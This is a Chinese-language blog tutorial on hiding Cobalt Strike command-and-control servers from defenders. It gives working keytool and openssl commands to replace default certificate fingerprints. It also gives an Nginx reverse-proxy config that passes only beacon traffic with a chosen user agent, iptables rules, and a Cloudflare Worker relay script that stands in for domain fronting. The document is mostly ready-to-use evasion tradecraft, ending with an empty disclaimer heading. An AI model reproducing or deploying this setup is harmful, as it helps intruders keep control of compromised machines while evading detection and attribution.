域前置配合Nginx反代隐匿Cobalt Strike
0x00 前言
上上期小记了一次利用CDN平台和free域名的Cobalt Strike隐匿方法。本次小记一下域前置配合Nginx反向代理进行Cobalt Strike隐匿。
0x01 去特征的几种简单方法
去除证书特征
cs的默认证书是肯定会被秒杀,生成一个新的证书来使用,使用keytool(Java数据证书的管理工具),它将key和certificates储存到keystore文件中
keytool -keystore CobaltStrike.store -storepass 123cvg -keypass 123cvg -genkey -keyalg RSA -alias baidu.com -dname "CN=China, OU=Tencent, O=Tencent, L=Tencent, ST=Tencent, C=Tencent"
keytool的常用语法
命令:
------生成证书时可以用如下几个------
-alias 指定别名
-storepass 指定更改密钥库的存储口令
‐keypass pass 指定更改条目的密钥口令
-keyalg 指定算法
-dname 指定所有者信息
---------------------------------
‐certreq 生成证书请求
‐changealias 更改条目的别名
‐delete 删除条目
‐exportcert 导出证书
‐genkeypair 生成密钥对
‐genseckey 生成密钥
‐gencert 根据证书请求生成证书
‐importcert 导入证书或证书链
‐importpass 导入口令
‐importkeystore 从其他密钥库导入一个或所有条目
‐keypasswd 更改条目的密钥口令
‐list 列出密钥库中的条目
‐printcert 打印证书内容
‐printcertreq 打印证书请求的内容
‐printcrl 打印 CRL 文件的内容
‐storepasswd 更改密钥库的存储口令
未修改前
使用生成的证书
修改默认启动端口
在teamserver中直接修改默认端口即可
0x02 部署Nginx反向代理
1、一键安装Nginx
apt install nginx
2、修改Nginx.conf文件
添加如下内容
server{
server_name cs.xxxx.tk;
listen 2096 ssl;
root /usr/share/nginx/html;
location ~*/jquery {
if ($http_user_agent != "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko") {return 302;}
proxy_pass https://127.0.0.1:8443;
}
将访问jquery-3.3.2.slim.min.js规定给仅有指定头才能反向代理到8443端口,这里我用的是jquery-c2.4.4.profile,ua头就设置配置文件中的ua头
坑点①
在我设置好之后,发现报错,原因是没有注释掉默认文件中的server,注释了就行了
还有一行root ,以及最后闭合括号也要注释掉
0x03 申请https证书
在cloudflare中可以免费申请
使用的域名要是你的conf中配置的域名,也可以直接生成覆盖域的证书
这里默认的pem
将Certificate和Key分别存到sss.pem和ssk.pem
0x04 Nginx启用证书
conf配置文件,添加如下内容
ssl_certificate "/home/cs4.4/pem/sss.pem";
ssl_certificate_key "/home/cs4.4/pem/ssk.pem";
ssl_session_cache shared:SSL:1m;
ssl_session_timeout 1440m;
0x05 为cs生成配置证书
用如下两个命令,-in后跟证书,-inkey跟秘钥
openssl pkcs12 -export -in sss.pem -inkey ssk.pem -out sb.ljw.p12 -name sb.ljw -passout pass:123cvb
keytool -importkeystore -deststorepass 123cvb -destkeypass 123cvb -destkeystore sb.ljw.s
将生成的证书放到cs目录下
在配置文件的Malleable C2 profile中配置证书
set keystore “sb.ljw.store”;
set password “123cvb”;
坑点②:
记得要开启ssl,就在监听的端口后跟上ssl即可
0x06 尝试启动CS设置listener
这里就可以使用https协议来监听了
上线端口设置成反向代理过来的端口,监听端口设置Nginx监听的端口
配置iptables规则,只允许127.0.0.1访问
iptables -A INPUT -s 127.0.0.1 -p tcp --dport 8443 -j ACCEPT
iptables -A INPUT -p tcp --dport 8443 -j DROP
这里测试发现连接不上
0x07 配置cloudflare-worker
因为cloudflare不支持域前置,所以用这个代替,类似于域前置的一个作用
创建一个服务
输入一个你喜欢的名字
快速编辑
写入js脚本
let upstream = 'https://xxx.xxx.tk'
addEventListener('fetch', event => {
event.respondWith(fetchAndApply(event.request));
})
async function fetchAndApply(request) {
const ipAddress = request.headers.get('cf-connecting-ip') || '';
let requestURL = new URL(request.url);
let upstreamURL = new URL(upstream);
requestURL.protocol = upstreamURL.protocol;
requestURL.host = upstreamURL.host;
requestURL.pathname = upstreamURL.pathname + requestURL.pathname;
let new_request_headers = new Headers(request.headers);
new_request_headers.set("X-Forwarded-For", ipAddress);
let fetchedResponse = await fetch(
new Request(requestURL, {
method: request.method,
headers: new_request_headers,
body: request.body
})
);
let modifiedResponseHeaders = new Headers(fetchedResponse.headers);
modifiedResponseHeaders.delete('set-cookie');
return new Response(
fetchedResponse.body,
{
headers: modifiedResponseHeaders,
status: fetchedResponse.status,
statusText: fetchedResponse.statusText
}
);
}
new_request_headers.set("X-Forwarded-For", ipAddress);
测试发包返回是否正常
保存并部署
手动访问发现无异常
0x08 Cobalt Strike上线
设置listener
访问8443端口的jquery-3.3.2.slim...js是可以访问到的
Cobalt Strike上线主机
beacon命令不回显问题解决
修改配置文件头为如下即可解决
header "Content-Type" "application/*; charset=utf-8";
免责声明